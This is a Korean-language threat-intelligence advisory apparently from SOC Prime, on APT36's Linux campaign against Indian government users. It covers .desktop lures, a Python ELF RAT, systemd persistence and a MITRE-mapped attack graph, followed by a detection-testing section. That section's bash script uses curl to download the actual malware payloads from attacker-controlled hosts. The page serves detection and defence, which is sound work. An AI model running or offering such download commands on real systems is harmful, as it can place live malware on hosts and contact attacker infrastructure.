SOC Prime Bias: 심각

04 12월 2025 18:28

APT36, 인도 정부 기관을 겨냥한 Python ELF 멀웨어 배포

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
APT36, 인도 정부 기관을 겨냥한 Python ELF 멀웨어 배포
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

APT36(Transparent Tribe)는 인도 정부 사용자에게 악성 Linux .desktop 바로가기 파일을 배포하는 스피어 피싱 캠페인을 실행했습니다. 이 런처들은 공격자가 제어하는 서버에서 swcbc라는 Python 기반의 ELF RAT를 가져와 실행합니다. 악성코드는 사용자 수준의 systemd 서비스를 통해 지속성을 유지하며, HTTP를 통해 C2와 통신하여 데이터를 유출하고 명령을 실행합니다. 이 캠페인은 Linux 환경에서 효과적으로 운영할 수 있는 그룹의 성장하는 역량을 보여줍니다.

조사

조사는 초기 .zip 첨부 파일에서 .desktop 런처, 미끼 PDF, 그리고 액터가 제어하는 IP 주소에서 다운로드된 두 개의 페이로드(swcbc ELF 바이너리와 swcbc.sh 스크립트)까지의 연쇄 과정을 따랐습니다. 분석 결과 ELF 바이너리는 PyInstaller로 패킹된 Python RAT로 시스템 프로파일링, 파일 업로드/다운로드, 화면 캡처, 자가 제거 기능을 갖추고 있습니다. 지속성은 사용자의 구성 디렉터리 내에 systemd 서비스를 등록하여 구현됩니다.

완화

권장 방어책에는 이메일을 통해 수신된 .desktop, .sh, ELF 바이너리의 실행을 차단하고, 의심스러운 첨부 파일에 대해 샌드박스 실행을 적용하는 것이 포함됩니다. /tmp와 같은 전역 쓰기 가능한 경로에서 자동 실행을 비활성화하고 가능한 경우 noexec 마운트 옵션을 적용하십시오. 식별된 악성 도메인과 IP에 대한 연결을 확인하기 위해 DNS 및 HTTP 트래픽을 모니터링하십시오. curl 및 LibreOffice와 같은 도구에 대해 엄격한 애플리케이션 제어를 시행하십시오.

대응

활동이 감지되면 영향을 받은 Linux 호스트를 격리하고 악성 아티팩트와 systemd 서비스 유닛을 수집하여 숨겨진 ~/.swcbc 디렉터리를 제거하십시오. 법의학 도구를 사용하여 호스트의 고유 식별자를 추출하고 진행 중인 C2 세션을 종료하십시오. 관찰된 IOC를 사용하여 탐지 콘텐츠를 업데이트하고 더 넓은 환경에서 유사한 패턴을 적극적으로 탐색하십시오.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% 노드 – 행동 (MITRE 기법) initial_access_phishing[“<b>행동</b> – <b>T1566 피싱</b>: 스피어피싱 첨부파일<br /><b>설명</b>: 공격자가 악성 .desktop 바로가기 파일을 대상에게 이메일로 전송”] class initial_access_phishing action user_execution_file[“<b>행동</b> – <b>T1204.002 사용자 실행</b>: 악성 파일<br /><b>설명</b>: 피해자가 .desktop 파일을 열어 포함된 스크립트 실행”] class user_execution_file action obfuscation[“<b>행동</b> – <b>T1027 난독화 파일</b>: 데이터 인코딩<br /><b>설명</b>: 스크립트는 Base64로 인코딩되어 저장되고 ELF 페이로드는 PyInstaller로 패킹됨”] class obfuscation action masquerading[“<b>행동</b> – <b>T1036 가장하기</b><br /><b>설명</b>: .desktop 바로가기 파일이 합법적인 오피스 문서처럼 보이며 가짜 PDF를 염”] class masquerading action ingress_tool_transfer[“<b>행동</b> – <b>T1105 도구 전송</b><br /><b>설명</b>: 스크립트가 원격 HTTP 서버에서 ELF 바이너리 및 쉘 스크립트를 다운로드”] class ingress_tool_transfer action execution_unix_shell[“<b>행동</b> – <b>T1059 명령 및 스크립트 인터프리터</b>: 유닉스 쉘<br /><b>설명</b>: 다운로더가 실행 권한을 부여하고 페이로드를 백그라운드에서 실행”] class execution_unix_shell action persistence_systemd[“<b>행동</b> – <b>T1543 시스템 프로세스 생성/수정</b><br /><b>설명</b>: 악성 systemd 사용자 서비스 생성 및 로그인 시 자동 실행 설정”] class persistence_systemd action persistence_boot_script[“<b>행동</b> – <b>T1037.004 부팅 또는 로그인 초기화 스크립트</b><br /><b>설명</b>: 사용자 수준 systemd 서비스가 부팅/로그인 시 실행되는 스크립트 역할”] class persistence_boot_script action discovery_system_info[“<b>행동</b> – <b>T1082 시스템 정보 수집</b><br /><b>설명</b>: ELF RAT가 OS 버전, 호스트 이름, 사용자 이름 및 MAC 주소 수집”] class discovery_system_info action discovery_file_dir[“<b>행동</b> – <b>T1083 파일 및 디렉터리 검색</b><br /><b>설명</b>: 악성코드가 파일 시스템을 탐색하여 유출 대상 파일 확인”] class discovery_file_dir action command_control_app_layer[“<b>행동</b> – <b>T1071 애플리케이션 계층 프로토콜</b><br /><b>설명</b>: 임플란트가 HTTP GET/POST를 통해 C2 서버와 통신”] class command_control_app_layer action data_encoding[“<b>행동</b> – <b>T1132 데이터 인코딩</b><br /><b>설명</b>: C2 페이로드가 Base64로 인코딩되어 내용 은폐”] class data_encoding action collection_local_data[“<b>행동</b> – <b>T1005 로컬 시스템 데이터 수집</b><br /><b>설명</b>: RAT가 선택된 파일을 ZIP 아카이브로 압축”] class collection_local_data action exfiltration_http[“<b>행동</b> – <b>T1005 로컬 시스템 데이터 유출</b><br /><b>설명</b>: 아카이브를 HTTP POST 요청으로 공격자에게 전송”] class exfiltration_http action %% 노드 – 아티팩트 / 악성코드 file_desktop[“<b>아티팩트</b> – <b>.desktop 바로가기</b><br /><b>파일</b>: Analysis_Proc_Report_Gem.desktop<br /><b>목적</b>: Base64 스크립트 실행 트리거”] class file_desktop artifact script_base64[“<b>악성코드</b> – <b>Base64 스크립트</b><br /><b>내용</b>: 다운로더 로직 디코딩 및 실행”] class script_base64 malware elf_payload[“<b>악성코드</b> – <b>ELF 바이너리 (swcbc)</b><br /><b>유형</b>: PyInstaller로 패킹된 RAT”] class elf_payload malware shell_script_payload[“<b>악성코드</b> – <b>쉘 스크립트 (swcbc.sh)</b><br /><b>목적</b>: 지속성 설정을 위한 헬퍼 스크립트”] class shell_script_payload malware systemd_service[“<b>아티팩트</b> – <b>Systemd 서비스 파일</b><br /><b>위치</b>: ~/.config/systemd/user/swcbc.service<br /><b>효과</b>: 사용자 로그인 시 ELF 페이로드 실행”] class systemd_service artifact %% 연결 – 공격 흐름 initial_access_phishing u002du002d>|전달| file_desktop file_desktop u002du002d>|실행| script_base64 script_base64 u002du002d>|난독화| obfuscation script_base64 u002du002d>|가장| masquerading script_base64 u002du002d>|다운로드| elf_payload script_base64 u002du002d>|다운로드| shell_script_payload ingress_tool_transfer u002du002d>|다운로드 지원| elf_payload ingress_tool_transfer u002du002d>|다운로드 지원| shell_script_payload script_base64 u002du002d>|유닉스 쉘에서 실행| execution_unix_shell elf_payload u002du002d>|실행| process_elf[(“ELF 프로세스”)] class process_elf process process_elf u002du002d>|C2 서버 연결| command_control_app_layer process_elf u002du002d>|시스템 정보 수집| discovery_system_info process_elf u002du002d>|파일 탐색| discovery_file_dir process_elf u002du002d>|파일 아카이브| collection_local_data collection_local_data u002du002d>|데이터 인코딩| data_encoding collection_local_data u002du002d>|유출| exfiltration_http exfiltration_http u002du002d>|사용| command_control_app_layer shell_script_payload u002du002d>|생성| systemd_service systemd_service u002du002d>|활성화| persistence_systemd persistence_systemd u002du002d>|지속성 제공| persistence_boot_script persistence_boot_script u002du002d>|로그인 시 실행 보장| execution_unix_shell

공격 흐름

시뮬레이션 실행

필수 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP) 실행을 상세히 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영하고 탐지 로직이 기대하는 정확한 텔레메트리를 생성하려고 해야 합니다. 추상적이거나 관련이 없는 예시는 오진으로 이어질 수 있습니다.

  • 공격 서사 및 명령:
    APT‑36 운영자는 손상된 인프라에 세 가지 페이로드를 호스팅하고 피싱 이메일을 통해 URL을 배포합니다. 기업 프록시를 통해 트래픽을 라우팅하도록 구성된 웹 브라우저를 사용하는 희생자가 각 링크를 클릭합니다. 프록시는 각 GET 요청을 기록하여 규칙에 일치하는 항목을 생성합니다.url|all목록. 페이로드는 다음과 같습니다:

    1. 순수 ELF 바이너리 (swcbc)는 HTTP를 통해 전달됩니다.
    2. 쉘 스크립트 (swcbc.sh)는 실행 시 ELF를 설치합니다.
    3. 미끼 PDF (Analysis_Proc_Report_Gem.pdf)는 사용자가 파일을 열도록 유도하는 동안 백그라운드에서 악성 ELF가 실행됩니다.
  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    # APT‑36 악성 URL 다운로드 시뮬레이션 – Sigma 규칙을 트리거합니다.
    set -euo pipefail
    
    # 악성 URL 정의 (Sigma 규칙의 정확한 문자열)
    urls=(
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc"
        "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh"
        "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf"
    )
    
    # 기업 프록시를 통해 각 페이로드를 다운로드합니다.
    # 환경 변수 http_proxy/https_proxy가 프록시를 가리키고 있다고 가정합니다.
    for u in "${urls[@]}"; do
        echo "[*] 프록시를 통해 $u 다운로드 중..."
        curl -s -O "$u"
    done
    
    echo "[+] 모든 악성 파일이 다운로드되었습니다. 일치하는 URL을 확인하기 위해 프록시 로그를 확인하십시오."

    스크립트를apt36_simulation.sh로 저장하고, 실행 가능하게 합니다 (chmod +x apt36_simulation.sh) 및 보호된 워크스테이션에서 실행합니다.

  • 정리 명령:

    #!/usr/bin/env bash
    # 시뮬레이션에 의해 생성된 모든 파일을 제거합니다.
    rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf
    echo "[+] 정리가 완료되었습니다."